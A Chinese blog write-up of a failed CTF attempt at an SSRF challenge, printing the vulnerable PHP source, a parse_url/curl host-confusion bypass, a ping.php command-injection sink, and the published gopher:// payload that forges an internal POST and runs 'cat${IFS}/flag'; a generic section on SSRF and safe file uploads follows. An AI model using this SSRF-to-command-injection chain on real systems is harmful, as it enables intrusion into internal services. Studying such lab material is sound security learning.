一次失败的CTF尝试记录(SSRF利用)

访问url,获取index.php代码如下:

 <?php
if(!(isset($_POST['url']))){
    show_source(__FILE__);
}
// include_once "ping.php";
if (isset($_POST['url'])) {
    $link = $_POST['url'];
    if(check($link)){
        $curlobj = curl_init();
        curl_setopt($curlobj, CURLOPT_POST, 0);
        curl_setopt($curlobj,CURLOPT_URL,$link);
        curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
        $result = curl_exec($curlobj);
        curl_close($curlobj);
        echo $result;
    }else{
        echo "unknown error";
    }

}

function check($url) {
    $url = parse_url($url);
    if(isset($url['port'])){    //rewrite url if port exist
        $url['path']= ':'.$url['port'].$url['path'];
    }
    if(isset($url['scheme'])){    # filter scheme
        if(strcasecmp($url['scheme'], "ftp") === 0 || strcasecmp($url['scheme'], "telnet") === 0 || strcasecmp($url['scheme'], "dict") === 0 || strcasecmp($url['scheme'], "file") === 0 || strcasecmp($url['scheme'], "ldap") === 0){
            return FALSE;
        }
    }
    $host = $url['host'];


    if(!preg_match('/[a-zA-Z]/', $host)){
        $ip = $host;
        if(is_inner_ip_regx($ip)){
            return FALSE;
        }
    }else{
        $ip = gethostbyname($host);
        if($ip ===$host){
            return FALSE;
        }
        if(is_inner_ip_regx($ip)){
            return FALSE;
        }
    }
    return TRUE;
}

function is_inner_ip_regx($ip){
    $pattern = "/^(127\.0\.0\.1)|(localhost)|(10\.\d{1,3}\.\d{1,3}\.\d{1,3})|(172\.((1[6-9])|(2\d)|(3[01]))\.\d{1,3}\.\d{1,3})|(192\.168\.\d{1,3}\.\d{1,3})$/";
    if(preg_match($pattern, $ip)){
        return TRUE;
    }else{
        return FALSE;
    }
} 

直接访问ping.php,需要localhost访问
在这里插入图片描述
本以为是修改XFF字段或者其他的代理字段,试了:X-Forwarded-For,X-real-ip,发现都不行。然后看index.php的代码,首先需要check为真才能curl访问。首先要确保url是内网IP,但是内网的话check是false,很鬼扯。

仔细看下代码,逻辑上是绕不过去的,本以为还是绕过正则的,试了IPV6绕过[::1],后续在本地搭环境是可以绕过的,代码也没报错,check()为真了,但是在实际测试中却是没有内容,失望+1。
在这里插入图片描述
后续转移思路了,看到了parse_url(),baidu了two thousand years later…
终于发现这个是可以通过构造:http://foo@localhost:80@114.114.114.114/ping.php这样的构造绕过。

<?php
echo "test";
// include_once "ping.php";
$link = "http://foo@localhost:80@114.114.114.114/test.txt";
if(check($link)){
    $curlobj = curl_init();
    curl_setopt($curlobj, CURLOPT_POST, 0);
    curl_setopt($curlobj,CURLOPT_URL,$link);
    echo "link->",$link,"\n";
    curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
    $result = curl_exec($curlobj);
    curl_close($curlobj);
    echo "result->",$result,"\n";
}else{
    echo "unknown error";
}

function check($url) {
    $url = parse_url($url);
    echo "\n----------------\n";
    echo "port->",$url['port'],"\n";
    echo "host1->",$url['host'],"\n";
    echo "scheme->",$url['scheme'],"\n";
    echo "path0->",$url['path'],"\n";
    //http://[ :: ]:10007/ping.php
    if(isset($url['port'])){    //rewrite url if port exist
        $url['path']= ':'.$url['port'].$url['path'];
        echo "path1->",$url['path'],"\n";
    }
    if(isset($url['scheme'])){    # filter scheme
        if(strcasecmp($url['scheme'], "ftp") === 0 || strcasecmp($url['scheme'], "telnet") === 0 || strcasecmp($url['scheme'], "dict") === 0 || strcasecmp($url['scheme'], "file") === 0 || strcasecmp($url['scheme'], "ldap") === 0){
            echo  "scheme false\n";
            return FALSE;
        }
    }
    $host = $url['host'];


    if(!preg_match('/[a-zA-Z]/', $host)){//host是数字组成的
        $ip = $host; 
        echo "ip->",$ip,"\n";
        if(is_inner_ip_regx($ip)){//判断是不是内网ip
            echo  "ip false1\n";
            return FALSE;
        }
    }else{
        $ip = gethostbyname($host);//是域名的话解析为IP
        echo "ip->",$ip,"\n";
        if($ip ===$host){
            echo "ip=host false\n";
            return FALSE;
        }
        if(is_inner_ip_regx($ip)){
            echo  "ip false2\n";
            return FALSE;
        }
    }
    return TRUE;
}

function is_inner_ip_regx($ip){
    $pattern = "/^(127\.0\.0\.1)|(localhost)|(10\.\d{1,3}\.\d{1,3}\.\d{1,3})|(172\.((1[6-9])|(2\d)|(3[01]))\.\d{1,3}\.\d{1,3})|(192\.168\.\d{1,3}\.\d{1,3})$/";
    if(preg_match($pattern, $ip)){
        return TRUE;
    }else{
        return FALSE;
    }
} 

?>

测试下输出结果为:
在这里插入图片描述
parse_url()解析的$ip不是内网IP,是114.114.114.114
cURL解析的$link却是localhost
如下图所示:
在这里插入图片描述
又试了two thousand years later…,因为中间构造了http://foo@localhost:10007@114.114.114.114/ping.php,重点是端口不对,这个坑爬了很久,获取了ping.php源码如下:

<?php

$remote_ip = $_SERVER['REMOTE_ADDR'];
if($remote_ip !== "127.0.0.1") {
    echo "Can only be accessed on localhost";
    exit();
}
show_source(__FILE__);
extract($_POST); //获取POST请求体中的参数数据
$ip = $ip ? $ip : "127.0.0.1";


$ip = myescapeshellarg($ip);
$cmd = "ping -c 1 $ip";
system($cmd);

function myescapeshellarg($data){
    $data = str_replace("\"","\\\"", $data);
    $data = str_replace("'","\\'", $data);
    $data = str_replace(";","", $data);
    $data = str_replace("|","", $data);
    $data = str_replace("&","", $data);
    $data = str_replace(" ","", $data);
    $data = "\"$data\"";
    return $data;
}

一看不就是命令截断+注入么,被他娘的胜利冲昏了头,赶紧构造url=HTTP://foo@localhost:80@114.114.114.114/ping.php&ip=www.baidu.com,试试截断%0a,%0d,${IFS},试了two thousand years later…,不成功,还是ping的127.0.0.1
在这里插入图片描述
仔细想想,瞬间就傻了,我POST请求的就是ping.php,而ping.php中又要传递参数$ip去实现命令注入,相当于两个POST,一次发包怎么办得到,用&ip这种连接显然是错误的。下一步应该是看看CURL协议,毕竟有个scheme过滤,准备去吃个饭回来继续看,发现大佬已经把答案公布了,一阵抽搐之后一切都索然无味了。

url=gopher://u:p@127.0.0.1:80@baidu.com/_POST+/ping.php+HTTP/1.1%250d%250aHost%3a+127.0.0.1%3a80%250d%250aConnection%3a+close%250d%250aContent-Type%3a+application/x-www-form-urlencoded%250d%250aContent-Length%3a+52%250d%250a%250d%250aip=%255c%2522%2509%250a%250acat${IFS}/flag%2509%250a

URL解码之后:

url=gopher://u:p@127.0.0.1:80@baidu.com/_POST /ping.php HTTP/1.1
Host: 127.0.0.1:80
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 52

ip=\"	

cat${IFS}/flag	

一次次的不成功,尝试都在磨灭自己的耐心,不断地鼓励自己坚持,最后差一点点的却公布答案了,这感觉太TM不爽了,不爽归不爽,还是因为,撸起袖子加油干哦
在这里插入图片描述

### 关于CTF Hub中的SSRF漏洞与文件上传问题 #### SSRF漏洞概述 服务器端请求伪造(Server-Side Request Forgery, SSRF)是一种攻击方式,允许攻击者通过被入侵的应用程序向内部网络或其他受信任的服务发送HTTP请求。这种类型的攻击可以用来访问不应该公开的信息或服务。 对于带有回显的SSRF漏洞,当应用程序返回来自远程资源的数据给客户端时发生;而对于不带回显的情况,则是指应用执行了恶意构造的URL但并未直接反馈结果给用户[^1]。 #### 文件上传安全措施 为了防止利用文件上传机制实施各种形式的安全威胁,包括但不限于脚本注入、命令执行等风险,在设计实现过程中应当采取如下策略: - **严格验证文件扩展名**:采用白名单而非黑名单的方式过滤允许上传的文件类型。 - **校验MIME类型**:不仅依赖浏览器提供的`Content-Type`头信息,还应该基于实际内容来判断文件的真实性质。 - **设定合理的尺寸上限**:限制单个文件的最大体积以及整个提交批次所能占用的空间总量。 - **随机重命名保存路径**:避免原文件名称可能带来的安全隐患,并确保不同用户的资料不会相互覆盖。 - **隔离存储位置**:将上载物品存放在独立目录下,远离Web根目录结构之外,必要时可启用额外的身份认证环节控制读取权限[^2]. ```php // PHP代码片段展示如何安全处理文件上传 if ($_FILES['file']['error'] === UPLOAD_ERR_OK) { $tmp_name = $_FILES["file"]["tmp_name"]; $name = basename($_FILES["file"]["name"]); // 只接受特定几种图片格式 $allowed_extensions = ['jpg', 'jpeg', 'png']; $extension = pathinfo($name, PATHINFO_EXTENSION); if (in_array(strtolower($extension), $allowed_extensions)) { // 验证mime-type $finfo = new finfo(FILEINFO_MIME_TYPE); $real_mime = $finfo->file($tmp_name); $valid_mimes = ["image/jpeg", "image/png"]; if (in_array($real_mime, $valid_mimes)) { // 设置最大文件大小为2MB define('MAX_FILE_SIZE', 2 * 1024 * 1024); // bytes if ($_FILES['file']['size'] <= MAX_FILE_SIZE) { // 使用唯一标识符作为新文件名并移动到指定位置 move_uploaded_file( $tmp_name, "/path/to/safe/location/" . uniqid() . '.' . strtolower($extension) ); } } } } ``` 针对CTF竞赛环境下的具体案例分析,通常会涉及到模拟真实世界中存在的缺陷场景供参赛选手破解学习。例如AWD模式下的题目可能会故意留下某些配置不当之处以便测试团队成员能否识别并修复这些问题[^3]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值